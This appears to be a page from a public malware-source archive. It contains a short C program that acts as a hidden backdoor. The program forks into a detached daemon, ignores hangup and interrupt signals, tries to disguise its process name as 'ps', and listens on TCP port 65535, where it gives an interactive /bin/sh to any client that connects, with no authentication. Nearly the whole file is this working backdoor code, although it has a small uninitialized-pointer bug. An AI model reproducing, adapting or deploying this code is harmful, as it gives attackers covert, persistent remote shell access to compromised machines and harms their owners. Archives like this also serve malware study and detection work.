mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 12:08:36 +00:00
73 lines
1.1 KiB
Plaintext
73 lines
1.1 KiB
Plaintext
#include <stdio.h>
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#include <stdlib.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <netinet/in.h>
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#include <unistd.h>
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#include <netdb.h>
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void mk_daemon();
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int main(int argc, char **argv)
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{
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int lfd,cfd;
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socklen_t len;
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struct sockaddr_in cli,serv;
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pid_t pid;
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char **sh;
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sh[0]="/bin/sh";
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sh[1]=NULL;
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mk_daemon();
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strncpy(argv[0],"ps",sizeof(argv[0]));
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lfd=socket(AF_INET,SOCK_STREAM,0);
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bzero(&serv,sizeof(serv));
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serv.sin_family=AF_INET;
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serv.sin_addr.s_addr=htonl(INADDR_ANY);
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serv.sin_port=htons(65535);
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bind(lfd,(struct sockaddr *)&serv,sizeof(serv));
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listen(lfd,5);
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while(1)
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{
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len=sizeof(cli);
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cfd=accept(lfd,(struct sockaddr *)&cli,&len);
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if(!(pid=fork()))
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{
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dup2(cfd,0);
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dup2(cfd,1);
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dup2(cfd,2);
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execve(sh[0],sh,NULL);
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close(cfd);
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exit(0);
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}
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close(cfd);
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}
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return 0;
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}
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void mk_daemon()
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{
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/* yes I did get this out of UNP */
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int x;
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pid_t pid;
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if((pid=fork()) !=0)
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{
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exit(-1);
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}
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setsid();
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signal(SIGHUP,SIG_IGN);
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signal(SIGINT,SIG_IGN);
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if((pid=fork()) !=0)
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{
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exit(-1);
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}
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chdir("/");
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umask(0);
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for(x=0;x<=64;x++)
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{
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close(x);
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}
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} |